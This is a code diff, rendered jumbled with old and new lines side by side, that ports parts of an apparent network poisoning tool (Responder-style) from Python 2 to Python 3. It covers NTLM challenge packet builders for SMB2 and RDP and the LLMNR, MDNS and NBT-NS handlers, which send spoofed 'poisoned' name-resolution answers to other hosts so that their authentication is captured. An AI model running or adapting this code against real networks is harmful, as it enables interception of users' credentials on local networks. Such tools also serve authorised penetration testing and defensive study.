tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]) tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
if len(tag2length) > 255: if len(tag2length) > 255:
self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length)) self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">H", len(tag2length))
else: else:
self.fields["Tag2ASNIdLenOfLen"] = "\x81" self.fields["Tag2ASNIdLenOfLen"] = "\x81"
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length)) self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">B", len(tag2length))
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) self.fields["Tag1ASNIdLen"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) self.fields["Tag1ASNId2Len"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2Str"])))
###### Workstation Offset ###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
@ -1572,22 +1586,22 @@ class SMB2Session1Data(Packet):
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
##### Workstation Offset Calculation: ##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation)) self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### Target Offset Calculation: ##### Target Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
##### IvPair Calculation: ##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
class SMB2Session2Data(Packet): class SMB2Session2Data(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -1622,7 +1636,7 @@ class SMB2NegoReq(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"]))) self.fields["Bcc"] = StructWithLenPython2or3("<H",len(str(self.fields["Data"])))
class SMB2NegoDataReq(Packet): class SMB2NegoDataReq(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -1643,7 +1657,7 @@ class TPKT(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["Length"] = struct.pack(">h",len(str(self.fields["Data"]))+4)#Data+own header. self.fields["Length"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+4)#Data+own header.
class X224(Packet): class X224(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -1656,7 +1670,7 @@ class X224(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["Length"] = struct.pack(">B",len(str(self.fields["Data"]))+6) self.fields["Length"] = StructWithLenPython2or3(">B",len(str(self.fields["Data"]))+6)
class RDPNEGOAnswer(Packet): class RDPNEGOAnswer(Packet):
@ -1668,7 +1682,7 @@ class RDPNEGOAnswer(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["Length"] = struct.pack("<h",8) self.fields["Length"] = StructWithLenPython2or3("<h",8)
class RDPNTLMChallengeAnswer(Packet): class RDPNTLMChallengeAnswer(Packet):
@ -1738,12 +1752,12 @@ class RDPNTLMChallengeAnswer(Packet):
def calculate(self): def calculate(self):
###### Convert strings to Unicode first ###### Convert strings to Unicode first
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
###### Workstation Offset ###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
@ -1755,26 +1769,26 @@ class RDPNTLMChallengeAnswer(Packet):
##### RDP Len Calculation: ##### RDP Len Calculation:
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen))
self.fields["ASNLen01"] = struct.pack(">B", len(NTLMMessageLen)+3) self.fields["ASNLen01"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+3)
self.fields["OpHeadASNIDLen"] = struct.pack(">B", len(NTLMMessageLen)+6) self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+6)
self.fields["MessageIDASNLen2"] = struct.pack(">B", len(NTLMMessageLen)+9) self.fields["MessageIDASNLen2"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+9)
self.fields["ParserHeadASNLen1"] = struct.pack(">B", len(NTLMMessageLen)+12) self.fields["ParserHeadASNLen1"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+12)
self.fields["PacketStartASNStr"] = struct.pack(">B", len(NTLMMessageLen)+20) self.fields["PacketStartASNStr"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+20)
##### Workstation Offset Calculation: ##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation)) self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation: ##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
##### IvPair Calculation: ##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))

View file

@ -14,22 +14,32 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import fingerprint
import fingerprint
from packets import LLMNR_Ans from packets import LLMNR_Ans
from SocketServer import BaseRequestHandler
from utils import * from utils import *
if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
def Parse_LLMNR_Name(data): def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0] import codecs
NameLen = data[12]
if (sys.version_info > (3, 0)):
return data[13:13+NameLen] return data[13:13+NameLen]
else:
NameLen2 = int(codecs.encode(NameLen, 'hex'), 16)
return data[13:13+int(NameLen2)]
def IsICMPRedirectPlausible(IP): def IsICMPRedirectPlausible(IP):
dnsip = [] dnsip = []
for line in file('/etc/resolv.conf', 'r'): with open('/etc/resolv.conf', 'r') as file:
for line in file:
ip = line.split() ip = line.split()
if len(ip) < 2: if len(ip) < 2:
continue continue
@ -37,9 +47,9 @@ def IsICMPRedirectPlausible(IP):
dnsip.extend(ip[1:]) dnsip.extend(ip[1:])
for x in dnsip: for x in dnsip:
if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5))
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5))
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5))
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
IsICMPRedirectPlausible(settings.Config.Bind_To) IsICMPRedirectPlausible(settings.Config.Bind_To)
@ -47,21 +57,20 @@ if settings.Config.AnalyzeMode:
class LLMNR(BaseRequestHandler): # LLMNR Server class class LLMNR(BaseRequestHandler): # LLMNR Server class
def handle(self): def handle(self):
try:
data, soc = self.request data, soc = self.request
Name = Parse_LLMNR_Name(data) Name = Parse_LLMNR_Name(data).decode("latin-1")
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True: if RespondToThisHost(self.client_address[0], Name) is not True:
return None return None
if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
Finger = None Finger = None
if settings.Config.Finger_On_Off: if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]" LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'LLMNR', 'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
@ -69,11 +78,11 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
'AnalyzeMode': '1', 'AnalyzeMode': '1',
}) })
else: # Poisoning Mode else: # Poisoning Mode
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer.calculate() Buffer1.calculate()
soc.sendto(str(Buffer), self.client_address) soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [LLMNR]" LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'LLMNR', 'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
@ -81,5 +90,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
'AnalyzeMode': '0', 'AnalyzeMode': '0',
}) })
if Finger is not None: if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
except:
raise

View file

@ -15,25 +15,38 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct import struct
import sys
if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import MDNS_Ans from packets import MDNS_Ans
from utils import * from utils import *
def Parse_MDNS_Name(data): def Parse_MDNS_Name(data):
try: try:
if (sys.version_info > (3, 0)):
data = data[12:] data = data[12:]
NameLen = data[0]
Name = data[1:1+NameLen]
NameLen_ = data[1+NameLen]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
FinalName = Name+b'.'+Name_
return FinalName.decode("latin-1")
else:
data = NetworkRecvBufferPython2or3(data[12:])
NameLen = struct.unpack('>B',data[0])[0] NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen] Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0] NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1] Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_ return Name+'.'+Name_
except IndexError: except IndexError:
return None return None
def Poisoned_MDNS_Name(data): def Poisoned_MDNS_Name(data):
data = data[12:] data = NetworkRecvBufferPython2or3(data[12:])
return data[:len(data)-5] return data[:len(data)-5]
class MDNS(BaseRequestHandler): class MDNS(BaseRequestHandler):
@ -50,7 +63,7 @@ class MDNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'MDNS', 'Poisoner': 'MDNS',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
@ -63,9 +76,9 @@ class MDNS(BaseRequestHandler):
Poisoned_Name = Poisoned_MDNS_Name(data) Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton()) Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
Buffer.calculate() Buffer.calculate()
soc.sendto(str(Buffer), (MADDR, MPORT)) soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'MDNS', 'Poisoner': 'MDNS',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],

View file

@ -15,22 +15,27 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import fingerprint import fingerprint
import sys
from packets import NBT_Ans from packets import NBT_Ans
from SocketServer import BaseRequestHandler
from utils import * from utils import *
if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
# Define what are we answering to. # Define what are we answering to.
def Validate_NBT_NS(data): def Validate_NBT_NS(data):
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
return False return False
elif NBT_NS_Role(data[43:46]) == "File Server": elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
return True return True
elif settings.Config.NBTNSDomain: elif settings.Config.NBTNSDomain:
if NBT_NS_Role(data[43:46]) == "Domain Controller": if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
return True return True
elif settings.Config.Wredirect: elif settings.Config.Wredirect:
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
return True return True
return False return False
@ -40,20 +45,19 @@ class NBTNS(BaseRequestHandler):
def handle(self): def handle(self):
data, socket = self.request data, socket = self.request
Name = Decode_Name(data[13:45]) Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True: if RespondToThisHost(self.client_address[0], Name) is not True:
return None return None
if data[2:4] == "\x01\x10": if data[2:4] == b'\x01\x10':
Finger = None Finger = None
if settings.Config.Finger_On_Off: if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
